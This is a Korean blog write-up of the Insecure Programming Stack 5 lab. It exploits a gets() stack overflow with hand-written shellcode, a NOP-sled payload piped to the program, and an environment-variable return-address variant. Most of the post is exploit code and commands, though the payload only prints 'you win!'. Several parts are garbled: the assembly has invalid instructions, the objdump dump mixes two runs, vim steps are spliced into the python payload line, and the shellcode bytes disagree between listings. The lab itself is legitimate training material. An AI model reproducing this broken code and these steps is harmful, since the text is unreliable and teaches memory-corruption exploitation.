기본 콘텐츠로 건너뛰기

Insecure-programming-stack5

Insecure-programming-stack5

Insecure Programming by example

Stack 5

이번 문제에서는 조건절 안에 “you win!” 문구 대신 "you loose!"가 있는 것을 볼 수 있다.

#include <stdio.h>
 
int main() {
        int cookie;
        char buf[80];
 
        printf("buf: %08x cookie: %08xn", &buf, &cookie);
        gets(buf);
 
        if (cookie == 0x000d0a00)
                printf("you loose!\n");
}

따라서 이번 문제를 해결하기 위해서는 임의로 작성한 별도의 코드를 프로그램에서 호출하도록 하여 “you win!” 구문 출력을 이끌어 내야한다.

"you win!"을 출력하고 종료하는 간단한 어셈블리어 코드를 작성한다.

section .text
global  _start

_start:

jmp short ender

starter:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 4
mov dbl, 91
pop ecx
mov bdl, 14
int 0x80
xor eax, eax
inc eaxal
dec bl
int 0x80

ender:
call starter
db 'you win!\n'

작성이 완료되었다면 nasm을 이용하여 오브젝트 파일을 생성한 후 ld 명령어로 실행 파일을 만들어 제대로 동작하는 지 확인해보하고 objdump를 이용하여 코드 덤프를 만들자.

# nasm -f elf -o stack54_sh_code.o ./stack4_sh_code.asm
# ld objdump -d ./stack4_sh_code.o
# ./a.out
you win!

동작 확인이 끝났다면 objdump를 이용하여 코드 덤프를 만들자.

# objdump -d ./a.out > stack54_sh_code.dump

objdump로 만든 덤프 파일을 vim에디터로 불러와 내용을 살펴보자.

# vim stack54_sh_code.dump

./a.outstack4_sh_code.o:     file format elf32-i386

Disassembly of section .text:

08048060000000 <_start>:
 8048060:    0:   eb 148                   jmp    80480761a <ender>

08048060000002 <starter>:
 8048062:    2:   31 c0                   xor    %eax,%eax
 8048064:    4:   31 db                   xor    %ebx,%ebx
 8048066:      6:   31 c9                   xor    %ecx,%ecx
   8:   31 d2                   xor    %edx,%edx
 8048068:    a:   b0 04                   mov    $0x4,%al
 804806a:    c:   b23 091                   mov    $0x91,%dbl
 804806c:    e:   59                      pop    %ecx
 804806d:    f:   b32 01e                   mov    $0x1e,%bdl
 804806f:     11:   cd 80                   int    $0x80
 8048071:     13:   31 c0                   xor    %eax,%eax
 8048073:     15:   40                      inc    %eax
 8048074:     16:   fe cb                   dec    %bl
  18:   cd 80                   int    $0x80

08048076000001a <ender>:
 8048076:     1a:   e8 e73 ff ff ff          call   8048062 <starter>
 804807b:   1f:     79 6f                   jns    80480ec90 <ender+0x76>
 804807d:   21:     75 20                   jne    804809f43 <ender+0x29>
 804807f:     23:   77 69                   ja     80480eae <ender+0x74>
 8048081:     25:   6e                      outsb  %ds:(%esi),(%dx)
 8048082:     26:   21                      .byte 0x21
  27:   5c                      pop    %esp
  28:   6e                      outsb  %ds:(%esi),(%dx)

머신 코드가 작성되어 있는 것을 확인할 수 있다. 주의할 점은 머신 코드에 00이 포함되어 있으면 안된다는 것이다. 00은 NULL문자로 해당 문자를 만나면 읽기 종료로 인식하고 전체 삽입 코드를 읽지 않게 된다.

이제 덤프 코드 내에서 머신 코드 외 불필요한 부분을 제거하자.

\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21 

두 가지 방식으로 머신 코드를 활용할 수 있는 데, 첫 번째는 입력 버퍼에 직접 삽입하여 삽입된 머신 코드를 실행하는 방식과 두 번째는 환경 변수에 등록 후 환경 변수의 주소를 호출하여 코드를 실행하는 것이다.

먼저 입력 버퍼에 직접 삽입하여 실행하는 방식을 진행하자.

머신 코드 동작 테스트 및 길이를 확인하는 간단한 프로그램을 만들자.

#include <stdio.h>

char *shellcode = "\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";

int main()
{
        fprintf(stdout, "Length: %d\n", strlen(shellcode));
        (*(void(*)()) shellcode)();
        return 0;
}
# gcc -o test test.c
# ./test
Length: 35
you win!

컴파일 후 실행해보면 머신 코드 길이 및 머신 코드 실행으로 인해 “you win!” 문구가 출력된 것을 확인할 수 있다.

이제 머신 코드를 파이프를 이용하여 stack5 프로그램으로 전달해보자.

# python -c "print '\x90'*73+'bash
ctrl + v
머신 코드 선택 후 y
p로 붙여넣은 후 덤프 코드 제거
:%s/^/\\x/g (행 시작 부분에 '\x' 삽입)
:%s/ /\\x/gc (공백 문자 '\x'으로 치환)
:%s/ //g (불필요한 공백 제거)
:%s/\n//g (줄바꿈 제거)
\xeb\x148\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb23\x091\x59\xb32\x01e\xcd\x80\x31\xc0\x40\xfe\xcb\xcd\x80\xe8\xe73\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'+'\xf0\xf\xff\xbf'"|./stack5
buf: bffff800 cookie: bffff85c
you win!

buf배열 부터 eip 까지의 바이트 수를 계산 후 머신 코드 및 buf배열 시작 주소를 제외한 잔여 바이트 만큼 \x90 (nop)으로 채워주게 되면 함수 에필로그 후 eip에서 buf 배열 시작 주소를 읽어와 \x90 (nop)을 거쳐 머신 코드에 도달하게 되고 성공적으로 “you win!” 구문을 출력하는 것을 볼 수 있다.

이제 환경 변수를 활용하여 머신 코드를 실행해보자\x5c\x6e

머신 코드 전체를 프로그램의 입력 값으로 삽입하여 활용하면 가장 간편하지만, 입력 버퍼가 부족하여 활용이 불가하다.

이런 경우 환경 변수로 해당 코드를 등록하고 환경 변수 주소로 이동하게 하는 방식으로 대처가 가능하다.

먼저 환경 변수 주소를 출력하는 프로그램을 만들어보자.
```c
#include <stdio.h>

int main(int argc, char *argv[])
{
         char *addr;
         addr=getenv(argv[1]);
         printf("The address of %s is %p\n",argv[1],addr);
         return 0;
}
# gcc -o get ./get.c
# ./get USER
The address of USER is 0xbffffa9c

환경 변수 주소를 출력하는 것을 확인할 수 있다. 이제 앞서 작성했던 머신 코드를 환경 변수에 등록한 후 주소를 확인해보자.

# export test=`python -c "print '\x90'*300+'\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'"`

# export | grep test
declare -x test="�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1Ұ�     Y�̀1�@�����you win!"
# ./get test
The address of test is 0xbffffd63

환경 변수로 등록한 머신 코드 주소를 eip로 전달하여 “you win!” 구문 출력을 확인하자.

# python -c "print 'a'*108+'\x63\xfd\xff\xbf'" | ./stack5
you win!

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

X-Frame-Options-Test

X-Frame-Options 테스트하기 X-Frame-Options 페이지 구성 시 삽입된 프레임의 출처를 검증하여 허용하지 않는 페이지 URL일 경우 해당 프레임을 포함하지 않는 확장 응답 헤더이다. 보안 목적으로 사용되는 확장 헤더로 아직 적용되지 않은 사이트들이 많지만 앞으로 점차 적용될 것으로 보인다. X-Frame OptionsDENY, SAMEORIGIN, ALLOW-FROM 옵션을 이용하여 세부 정책을 설정한다. 옵션 설명 DENY Frame 비허용 SAMEORIGIN 동일한 ORIGIN에 해당하는 Frame만 허용 ALLOW-FROM 지정된 ORIGIN에 해당하는 Frame만 허용 크롬 4.1 , IE 8 , 오페라 10.5 , 사파리 4.0 , 파이어폭스 3.6.9 이상에서는 DENY , SAMEORIGIN 이 적용되며, ALLOW-FROM 은 각 브라우저 마다 지원 현황이 다르다. https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options 해당 확장헤더는 브라우저에서 처리하는 응답 헤더이므로 미지원 브라우저 사용 시 설정과 무관하게 페이지 내 포함된 모든 Frame을 출력한다. (검증 테스트: Opera 5.0.0) 테스트 코드 DENY <!DOCTYPE html> < html lang = "en" > < head > < meta http-equiv = "X-Frame-Options" content = "deny" /> < title > Deny option Test </ title > </ head > < bod

C-lang-vulnerabilities

C 언어 공통 취약점 해당 글은 CERN Computer Security의 Common vulnerabilities guide for C programmers 글을 참고하여 작성하였습니다. C언어에서 발생하는 대부분의 취약점은 버퍼 오버플로우와 문자열 처리 미흡과 관련되어 있다. 이는 segmentation fault를 유발하고 입력 값을 조작할 경우 임의 코드 실행으로 이어질 수 있다. 이에 대부분의 에러와 조치 방안을 살펴보자고 한다. gets stdio gets() 함수는 버퍼 길이를 검증하지 않아 사용 시 항상 취약성을 야기한다. Vulnerable Code #include<stdio.h> int main() { char username[ 8 ]; int allow = 0 ; printf ( "Enter your username, please: " ); gets(username); //악의적인 값 삽입 if (grantAccess(username)) { allow = 1 ; } if (allow != 0 ) { //username을 오버플로우하여 덮어씀 privilegeAction(); } return 0 ; } Mitigation fgets() 함수 사용 및 동적 메모리 할당 #include <stdio.h> #include <stdlib.h> #define LENGTH 8 int main () { char * username, *nlptr; int allow = 0 ; username = malloc (LENGTH * sizeof (*username)); if (!username) return EXIT_FAILURE; printf ( "Enter your username, please:

HTML/CSS를 활용하여 카카오톡 클론 만들기

시간을 내어 HTML과 CSS를 공부한 것은 대학생 때가 마지막이었던 것으로 기억한다. 그 동안 사이드 프로젝트로 진행했던 여러 아이디어들을 결국 서비스하지 못했던 결정적인 이유는 프론트 엔드 기술 부족이었다고 생각하고 우선 HTML과 CSS 학습을 진행하였다. 프론트 엔드 기술은 많은 발전을 거듭하여 예전에 비해 큰 복잡성을 가지게 되었다. 빠른 시간 안에 숙지하지 못한 기법들에 대해서 알아보고 구현하고자 하는 아이디어에 활용할 수 있을 정도로 진행해보고자 한다. 또한 보안적 관점에서 발생할 수 있는 프론트 엔드 위협에 대해 파악할 수 있는 좋은 밑거름이 되길 기대해본다. 우선적으로 진행한 카카오 톡 디자인 클론은 노마드 아카데미의 강의를 수강하며 진행하였고 결과는 아래의 링크에서 확인할 수 있다. 소스코드 저장소 구현된 웹 페이지